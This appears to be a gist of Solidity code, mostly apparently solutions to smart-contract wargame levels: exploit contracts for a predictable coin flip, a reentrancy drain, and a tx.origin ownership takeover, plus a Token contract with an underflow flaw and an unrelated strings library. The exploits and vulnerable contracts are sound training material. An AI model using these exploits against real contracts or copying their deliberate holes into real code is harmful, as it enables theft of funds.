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June 8, 2018 16:34
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Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=false&gist=
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pragma solidity ^0.4.18; | |
contract CoinFlip { | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
function CoinFlip() public { | |
consecutiveWins = 0; | |
} | |
function flip(bool _guess) public returns (bool) { | |
uint256 blockValue = uint256(block.blockhash(block.number-1)); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); | |
bool side = coinFlip == 1 ? true : false; | |
if (side == _guess) { | |
consecutiveWins++; | |
return true; | |
} else { | |
consecutiveWins = 0; | |
return false; | |
} | |
} | |
} | |
contract hack { | |
CoinFlip public flipper; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
bool public side; | |
function setContract(){ | |
flipper = CoinFlip(0xbc2051712b529dee6f5fb105b9be3712fc176bf6); | |
} | |
function play() returns (bool){ | |
uint256 blockValue = uint256(block.blockhash(block.number-1)); | |
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); | |
side = coinFlip == 1 ? true : false; | |
bool result = flipper.flip(side); | |
return true; | |
} | |
} |
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pragma solidity ^0.4.18; | |
contract Reentrance { | |
mapping(address => uint) public balances; | |
function donate(address _to) public payable { | |
balances[_to] += msg.value; | |
} | |
function balanceOf(address _who) public view returns (uint balance) { | |
return balances[_who]; | |
} | |
function withdraw(uint _amount) public { | |
if(balances[msg.sender] >= _amount) { | |
if(msg.sender.call.value(_amount)()) { | |
_amount; | |
} | |
balances[msg.sender] -= _amount; | |
} | |
} | |
function() public payable {} | |
} | |
contract Exploit { | |
address target = 0x8F6fE2a49b7c314049aB2d5d96b448b620A3a30C; | |
Reentrance c; | |
function Exploit() { | |
c = Reentrance(target); | |
} | |
function attack() payable { | |
c.donate.value(0.1 ether)(this); | |
c.withdraw(0.1 ether); | |
} | |
function() payable { | |
c.withdraw(0.1 ether); | |
} | |
} |
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pragma solidity ^0.4.24; | |
library strings { | |
struct slice { | |
uint _len; | |
uint _ptr; | |
} | |
function memcpy(uint dest, uint src, uint len) private pure { | |
// Copy word-length chunks while possible | |
for(; len >= 32; len -= 32) { | |
assembly { | |
mstore(dest, mload(src)) | |
} | |
dest += 32; | |
src += 32; | |
} | |
// Copy remaining bytes | |
uint mask = 256 ** (32 - len) - 1; | |
assembly { | |
let srcpart := and(mload(src), not(mask)) | |
let destpart := and(mload(dest), mask) | |
mstore(dest, or(destpart, srcpart)) | |
} | |
} | |
/* | |
* @dev Returns a slice containing the entire string. | |
* @param self The string to make a slice from. | |
* @return A newly allocated slice containing the entire string. | |
*/ | |
function toSlice(string self) internal pure returns (slice) { | |
uint ptr; | |
assembly { | |
ptr := add(self, 0x20) | |
} | |
return slice(bytes(self).length, ptr); | |
} | |
/* | |
* @dev Returns the length of a null-terminated bytes32 string. | |
* @param self The value to find the length of. | |
* @return The length of the string, from 0 to 32. | |
*/ | |
function len(bytes32 self) internal pure returns (uint) { | |
uint ret; | |
if (self == 0) | |
return 0; | |
if (self & 0xffffffffffffffffffffffffffffffff == 0) { | |
ret += 16; | |
self = bytes32(uint(self) / 0x100000000000000000000000000000000); | |
} | |
if (self & 0xffffffffffffffff == 0) { | |
ret += 8; | |
self = bytes32(uint(self) / 0x10000000000000000); | |
} | |
if (self & 0xffffffff == 0) { | |
ret += 4; | |
self = bytes32(uint(self) / 0x100000000); | |
} | |
if (self & 0xffff == 0) { | |
ret += 2; | |
self = bytes32(uint(self) / 0x10000); | |
} | |
if (self & 0xff == 0) { | |
ret += 1; | |
} | |
return 32 - ret; | |
} | |
/* | |
* @dev Returns a slice containing the entire bytes32, interpreted as a | |
* null-terminated utf-8 string. | |
* @param self The bytes32 value to convert to a slice. | |
* @return A new slice containing the value of the input argument up to the | |
* first null. | |
*/ | |
function toSliceB32(bytes32 self) internal pure returns (slice ret) { | |
// Allocate space for `self` in memory, copy it there, and point ret at it | |
assembly { | |
let ptr := mload(0x40) | |
mstore(0x40, add(ptr, 0x20)) | |
mstore(ptr, self) | |
mstore(add(ret, 0x20), ptr) | |
} | |
ret._len = len(self); | |
} | |
/* | |
* @dev Returns a new slice containing the same data as the current slice. | |
* @param self The slice to copy. | |
* @return A new slice containing the same data as `self`. | |
*/ | |
function copy(slice self) internal pure returns (slice) { | |
return slice(self._len, self._ptr); | |
} | |
/* | |
* @dev Copies a slice to a new string. | |
* @param self The slice to copy. | |
* @return A newly allocated string containing the slice's text. | |
*/ | |
function toString(slice self) internal pure returns (string) { | |
string memory ret = new string(self._len); | |
uint retptr; | |
assembly { retptr := add(ret, 32) } | |
memcpy(retptr, self._ptr, self._len); | |
return ret; | |
} | |
/* | |
* @dev Returns the length in runes of the slice. Note that this operation | |
* takes time proportional to the length of the slice; avoid using it | |
* in loops, and call `slice.empty()` if you only need to know whether | |
* the slice is empty or not. | |
* @param self The slice to operate on. | |
* @return The length of the slice in runes. | |
*/ | |
function len(slice self) internal pure returns (uint l) { | |
// Starting at ptr-31 means the LSB will be the byte we care about | |
uint ptr = self._ptr - 31; | |
uint end = ptr + self._len; | |
for (l = 0; ptr < end; l++) { | |
uint8 b; | |
assembly { b := and(mload(ptr), 0xFF) } | |
if (b < 0x80) { | |
ptr += 1; | |
} else if(b < 0xE0) { | |
ptr += 2; | |
} else if(b < 0xF0) { | |
ptr += 3; | |
} else if(b < 0xF8) { | |
ptr += 4; | |
} else if(b < 0xFC) { | |
ptr += 5; | |
} else { | |
ptr += 6; | |
} | |
} | |
} | |
/* | |
* @dev Returns true if the slice is empty (has a length of 0). | |
* @param self The slice to operate on. | |
* @return True if the slice is empty, False otherwise. | |
*/ | |
function empty(slice self) internal pure returns (bool) { | |
return self._len == 0; | |
} | |
/* | |
* @dev Returns a positive number if `other` comes lexicographically after | |
* `self`, a negative number if it comes before, or zero if the | |
* contents of the two slices are equal. Comparison is done per-rune, | |
* on unicode codepoints. | |
* @param self The first slice to compare. | |
* @param other The second slice to compare. | |
* @return The result of the comparison. | |
*/ | |
function compare(slice self, slice other) internal pure returns (int) { | |
uint shortest = self._len; | |
if (other._len < self._len) | |
shortest = other._len; | |
uint selfptr = self._ptr; | |
uint otherptr = other._ptr; | |
for (uint idx = 0; idx < shortest; idx += 32) { | |
uint a; | |
uint b; | |
assembly { | |
a := mload(selfptr) | |
b := mload(otherptr) | |
} | |
if (a != b) { | |
// Mask out irrelevant bytes and check again | |
uint256 mask = uint256(-1); // 0xffff... | |
if(shortest < 32) { | |
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); | |
} | |
uint256 diff = (a & mask) - (b & mask); | |
if (diff != 0) | |
return int(diff); | |
} | |
selfptr += 32; | |
otherptr += 32; | |
} | |
return int(self._len) - int(other._len); | |
} | |
/* | |
* @dev Returns true if the two slices contain the same text. | |
* @param self The first slice to compare. | |
* @param self The second slice to compare. | |
* @return True if the slices are equal, false otherwise. | |
*/ | |
function equals(slice self, slice other) internal pure returns (bool) { | |
return compare(self, other) == 0; | |
} | |
/* | |
* @dev Extracts the first rune in the slice into `rune`, advancing the | |
* slice to point to the next rune and returning `self`. | |
* @param self The slice to operate on. | |
* @param rune The slice that will contain the first rune. | |
* @return `rune`. | |
*/ | |
function nextRune(slice self, slice rune) internal pure returns (slice) { | |
rune._ptr = self._ptr; | |
if (self._len == 0) { | |
rune._len = 0; | |
return rune; | |
} | |
uint l; | |
uint b; | |
// Load the first byte of the rune into the LSBs of b | |
assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } | |
if (b < 0x80) { | |
l = 1; | |
} else if(b < 0xE0) { | |
l = 2; | |
} else if(b < 0xF0) { | |
l = 3; | |
} else { | |
l = 4; | |
} | |
// Check for truncated codepoints | |
if (l > self._len) { | |
rune._len = self._len; | |
self._ptr += self._len; | |
self._len = 0; | |
return rune; | |
} | |
self._ptr += l; | |
self._len -= l; | |
rune._len = l; | |
return rune; | |
} | |
/* | |
* @dev Returns the first rune in the slice, advancing the slice to point | |
* to the next rune. | |
* @param self The slice to operate on. | |
* @return A slice containing only the first rune from `self`. | |
*/ | |
function nextRune(slice self) internal pure returns (slice ret) { | |
nextRune(self, ret); | |
} | |
/* | |
* @dev Returns the number of the first codepoint in the slice. | |
* @param self The slice to operate on. | |
* @return The number of the first codepoint in the slice. | |
*/ | |
function ord(slice self) internal pure returns (uint ret) { | |
if (self._len == 0) { | |
return 0; | |
} | |
uint word; | |
uint length; | |
uint divisor = 2 ** 248; | |
// Load the rune into the MSBs of b | |
assembly { word:= mload(mload(add(self, 32))) } | |
uint b = word / divisor; | |
if (b < 0x80) { | |
ret = b; | |
length = 1; | |
} else if(b < 0xE0) { | |
ret = b & 0x1F; | |
length = 2; | |
} else if(b < 0xF0) { | |
ret = b & 0x0F; | |
length = 3; | |
} else { | |
ret = b & 0x07; | |
length = 4; | |
} | |
// Check for truncated codepoints | |
if (length > self._len) { | |
return 0; | |
} | |
for (uint i = 1; i < length; i++) { | |
divisor = divisor / 256; | |
b = (word / divisor) & 0xFF; | |
if (b & 0xC0 != 0x80) { | |
// Invalid UTF-8 sequence | |
return 0; | |
} | |
ret = (ret * 64) | (b & 0x3F); | |
} | |
return ret; | |
} | |
/* | |
* @dev Returns the keccak-256 hash of the slice. | |
* @param self The slice to hash. | |
* @return The hash of the slice. | |
*/ | |
function keccak(slice self) internal pure returns (bytes32 ret) { | |
assembly { | |
ret := keccak256(mload(add(self, 32)), mload(self)) | |
} | |
} | |
/* | |
* @dev Returns true if `self` starts with `needle`. | |
* @param self The slice to operate on. | |
* @param needle The slice to search for. | |
* @return True if the slice starts with the provided text, false otherwise. | |
*/ | |
function startsWith(slice self, slice needle) internal pure returns (bool) { | |
if (self._len < needle._len) { | |
return false; | |
} | |
if (self._ptr == needle._ptr) { | |
return true; | |
} | |
bool equal; | |
assembly { | |
let length := mload(needle) | |
let selfptr := mload(add(self, 0x20)) | |
let needleptr := mload(add(needle, 0x20)) | |
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) | |
} | |
return equal; | |
} | |
/* | |
* @dev If `self` starts with `needle`, `needle` is removed from the | |
* beginning of `self`. Otherwise, `self` is unmodified. | |
* @param self The slice to operate on. | |
* @param needle The slice to search for. | |
* @return `self` | |
*/ | |
function beyond(slice self, slice needle) internal pure returns (slice) { | |
if (self._len < needle._len) { | |
return self; | |
} | |
bool equal = true; | |
if (self._ptr != needle._ptr) { | |
assembly { | |
let length := mload(needle) | |
let selfptr := mload(add(self, 0x20)) | |
let needleptr := mload(add(needle, 0x20)) | |
equal := eq(sha3(selfptr, length), sha3(needleptr, length)) | |
} | |
} | |
if (equal) { | |
self._len -= needle._len; | |
self._ptr += needle._len; | |
} | |
return self; | |
} | |
/* | |
* @dev Returns true if the slice ends with `needle`. | |
* @param self The slice to operate on. | |
* @param needle The slice to search for. | |
* @return True if the slice starts with the provided text, false otherwise. | |
*/ | |
function endsWith(slice self, slice needle) internal pure returns (bool) { | |
if (self._len < needle._len) { | |
return false; | |
} | |
uint selfptr = self._ptr + self._len - needle._len; | |
if (selfptr == needle._ptr) { | |
return true; | |
} | |
bool equal; | |
assembly { | |
let length := mload(needle) | |
let needleptr := mload(add(needle, 0x20)) | |
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) | |
} | |
return equal; | |
} | |
/* | |
* @dev If `self` ends with `needle`, `needle` is removed from the | |
* end of `self`. Otherwise, `self` is unmodified. | |
* @param self The slice to operate on. | |
* @param needle The slice to search for. | |
* @return `self` | |
*/ | |
function until(slice self, slice needle) internal pure returns (slice) { | |
if (self._len < needle._len) { | |
return self; | |
} | |
uint selfptr = self._ptr + self._len - needle._len; | |
bool equal = true; | |
if (selfptr != needle._ptr) { | |
assembly { | |
let length := mload(needle) | |
let needleptr := mload(add(needle, 0x20)) | |
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) | |
} | |
} | |
if (equal) { | |
self._len -= needle._len; | |
} | |
return self; | |
} | |
event log_bytemask(bytes32 mask); | |
// Returns the memory address of the first byte of the first occurrence of | |
// `needle` in `self`, or the first byte after `self` if not found. | |
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { | |
uint ptr = selfptr; | |
uint idx; | |
if (needlelen <= selflen) { | |
if (needlelen <= 32) { | |
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); | |
bytes32 needledata; | |
assembly { needledata := and(mload(needleptr), mask) } | |
uint end = selfptr + selflen - needlelen; | |
bytes32 ptrdata; | |
assembly { ptrdata := and(mload(ptr), mask) } | |
while (ptrdata != needledata) { | |
if (ptr >= end) | |
return selfptr + selflen; | |
ptr++; | |
assembly { ptrdata := and(mload(ptr), mask) } | |
} | |
return ptr; | |
} else { | |
// For long needles, use hashing | |
bytes32 hash; | |
assembly { hash := sha3(needleptr, needlelen) } | |
for (idx = 0; idx <= selflen - needlelen; idx++) { | |
bytes32 testHash; | |
assembly { testHash := sha3(ptr, needlelen) } | |
if (hash == testHash) | |
return ptr; | |
ptr += 1; | |
} | |
} | |
} | |
return selfptr + selflen; | |
} | |
// Returns the memory address of the first byte after the last occurrence of | |
// `needle` in `self`, or the address of `self` if not found. | |
function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { | |
uint ptr; | |
if (needlelen <= selflen) { | |
if (needlelen <= 32) { | |
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); | |
bytes32 needledata; | |
assembly { needledata := and(mload(needleptr), mask) } | |
ptr = selfptr + selflen - needlelen; | |
bytes32 ptrdata; | |
assembly { ptrdata := and(mload(ptr), mask) } | |
while (ptrdata != needledata) { | |
if (ptr <= selfptr) | |
return selfptr; | |
ptr--; | |
assembly { ptrdata := and(mload(ptr), mask) } | |
} | |
return ptr + needlelen; | |
} else { | |
// For long needles, use hashing | |
bytes32 hash; | |
assembly { hash := sha3(needleptr, needlelen) } | |
ptr = selfptr + (selflen - needlelen); | |
while (ptr >= selfptr) { | |
bytes32 testHash; | |
assembly { testHash := sha3(ptr, needlelen) } | |
if (hash == testHash) | |
return ptr + needlelen; | |
ptr -= 1; | |
} | |
} | |
} | |
return selfptr; | |
} | |
/* | |
* @dev Modifies `self` to contain everything from the first occurrence of | |
* `needle` to the end of the slice. `self` is set to the empty slice | |
* if `needle` is not found. | |
* @param self The slice to search and modify. | |
* @param needle The text to search for. | |
* @return `self`. | |
*/ | |
function find(slice self, slice needle) internal pure returns (slice) { | |
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); | |
self._len -= ptr - self._ptr; | |
self._ptr = ptr; | |
return self; | |
} | |
/* | |
* @dev Modifies `self` to contain the part of the string from the start of | |
* `self` to the end of the first occurrence of `needle`. If `needle` | |
* is not found, `self` is set to the empty slice. | |
* @param self The slice to search and modify. | |
* @param needle The text to search for. | |
* @return `self`. | |
*/ | |
function rfind(slice self, slice needle) internal pure returns (slice) { | |
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); | |
self._len = ptr - self._ptr; | |
return self; | |
} | |
/* | |
* @dev Splits the slice, setting `self` to everything after the first | |
* occurrence of `needle`, and `token` to everything before it. If | |
* `needle` does not occur in `self`, `self` is set to the empty slice, | |
* and `token` is set to the entirety of `self`. | |
* @param self The slice to split. | |
* @param needle The text to search for in `self`. | |
* @param token An output parameter to which the first token is written. | |
* @return `token`. | |
*/ | |
function split(slice self, slice needle, slice token) internal pure returns (slice) { | |
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); | |
token._ptr = self._ptr; | |
token._len = ptr - self._ptr; | |
if (ptr == self._ptr + self._len) { | |
// Not found | |
self._len = 0; | |
} else { | |
self._len -= token._len + needle._len; | |
self._ptr = ptr + needle._len; | |
} | |
return token; | |
} | |
/* | |
* @dev Splits the slice, setting `self` to everything after the first | |
* occurrence of `needle`, and returning everything before it. If | |
* `needle` does not occur in `self`, `self` is set to the empty slice, | |
* and the entirety of `self` is returned. | |
* @param self The slice to split. | |
* @param needle The text to search for in `self`. | |
* @return The part of `self` up to the first occurrence of `delim`. | |
*/ | |
function split(slice self, slice needle) internal pure returns (slice token) { | |
split(self, needle, token); | |
} | |
/* | |
* @dev Splits the slice, setting `self` to everything before the last | |
* occurrence of `needle`, and `token` to everything after it. If | |
* `needle` does not occur in `self`, `self` is set to the empty slice, | |
* and `token` is set to the entirety of `self`. | |
* @param self The slice to split. | |
* @param needle The text to search for in `self`. | |
* @param token An output parameter to which the first token is written. | |
* @return `token`. | |
*/ | |
function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { | |
uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); | |
token._ptr = ptr; | |
token._len = self._len - (ptr - self._ptr); | |
if (ptr == self._ptr) { | |
// Not found | |
self._len = 0; | |
} else { | |
self._len -= token._len + needle._len; | |
} | |
return token; | |
} | |
/* | |
* @dev Splits the slice, setting `self` to everything before the last | |
* occurrence of `needle`, and returning everything after it. If | |
* `needle` does not occur in `self`, `self` is set to the empty slice, | |
* and the entirety of `self` is returned. | |
* @param self The slice to split. | |
* @param needle The text to search for in `self`. | |
* @return The part of `self` after the last occurrence of `delim`. | |
*/ | |
function rsplit(slice self, slice needle) internal pure returns (slice token) { | |
rsplit(self, needle, token); | |
} | |
/* | |
* @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. | |
* @param self The slice to search. | |
* @param needle The text to search for in `self`. | |
* @return The number of occurrences of `needle` found in `self`. | |
*/ | |
function count(slice self, slice needle) internal pure returns (uint cnt) { | |
uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; | |
while (ptr <= self._ptr + self._len) { | |
cnt++; | |
ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; | |
} | |
} | |
/* | |
* @dev Returns True if `self` contains `needle`. | |
* @param self The slice to search. | |
* @param needle The text to search for in `self`. | |
* @return True if `needle` is found in `self`, false otherwise. | |
*/ | |
function contains(slice self, slice needle) internal pure returns (bool) { | |
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; | |
} | |
/* | |
* @dev Returns a newly allocated string containing the concatenation of | |
* `self` and `other`. | |
* @param self The first slice to concatenate. | |
* @param other The second slice to concatenate. | |
* @return The concatenation of the two strings. | |
*/ | |
function concat(slice self, slice other) internal pure returns (string) { | |
string memory ret = new string(self._len + other._len); | |
uint retptr; | |
assembly { retptr := add(ret, 32) } | |
memcpy(retptr, self._ptr, self._len); | |
memcpy(retptr + self._len, other._ptr, other._len); | |
return ret; | |
} | |
/* | |
* @dev Joins an array of slices, using `self` as a delimiter, returning a | |
* newly allocated string. | |
* @param self The delimiter to use. | |
* @param parts A list of slices to join. | |
* @return A newly allocated string containing all the slices in `parts`, | |
* joined with `self`. | |
*/ | |
function join(slice self, slice[] parts) internal pure returns (string) { | |
if (parts.length == 0) | |
return ""; | |
uint length = self._len * (parts.length - 1); | |
for(uint i = 0; i < parts.length; i++) | |
length += parts[i]._len; | |
string memory ret = new string(length); | |
uint retptr; | |
assembly { retptr := add(ret, 32) } | |
for(i = 0; i < parts.length; i++) { | |
memcpy(retptr, parts[i]._ptr, parts[i]._len); | |
retptr += parts[i]._len; | |
if (i < parts.length - 1) { | |
memcpy(retptr, self._ptr, self._len); | |
retptr += self._len; | |
} | |
} | |
return ret; | |
} | |
} | |
contract MetadataContract{ | |
using strings for *; | |
string public baseUrl; | |
constructor() public { | |
baseUrl = "https://meta.repop.world/"; | |
} | |
function getMetadataUrl(uint256 _tokenId) external view returns (string infoUrl) { | |
string memory toReturn = baseUrl.toSlice().concat(uint2str(_tokenId).toSlice()); | |
return toReturn; | |
} | |
function uint2str(uint i) internal pure returns (string){ | |
if (i == 0) return "0"; | |
uint j = i; | |
uint length; | |
while (j != 0){ | |
length++; j /= 10; | |
} | |
bytes memory bstr = new bytes(length); | |
uint k = length - 1; | |
while (i != 0){ | |
bstr[k--] = byte(48 + i % 10); | |
i /= 10; | |
} | |
return string(bstr); | |
} | |
} |
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pragma solidity ^0.4.18; | |
contract Telephone { | |
address public owner; | |
function Telephone() public { | |
owner = msg.sender; | |
} | |
function changeOwner(address _owner) public { | |
if (tx.origin != msg.sender) { | |
owner = _owner; | |
} | |
} | |
} | |
contract hack{ | |
Telephone public tele; | |
function setTelephoneContract(){ | |
tele = Telephone(0x26f2c7415b652a21f307a4ef60a164a0f847098d); | |
} | |
function hackOwner() public { | |
tele.changeOwner(msg.sender); | |
} | |
} |
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pragma solidity ^0.4.18; | |
contract Token { | |
mapping(address => uint) balances; | |
uint public totalSupply; | |
function Token(uint _initialSupply) public { | |
balances[msg.sender] = totalSupply = _initialSupply; | |
} | |
function transfer(address _to, uint _value) public returns (bool) { | |
require(balances[msg.sender] - _value >= 0); | |
balances[msg.sender] -= _value; | |
balances[_to] += _value; | |
return true; | |
} | |
function balanceOf(address _owner) public view returns (uint balance) { | |
return balances[_owner]; | |
} | |
} |
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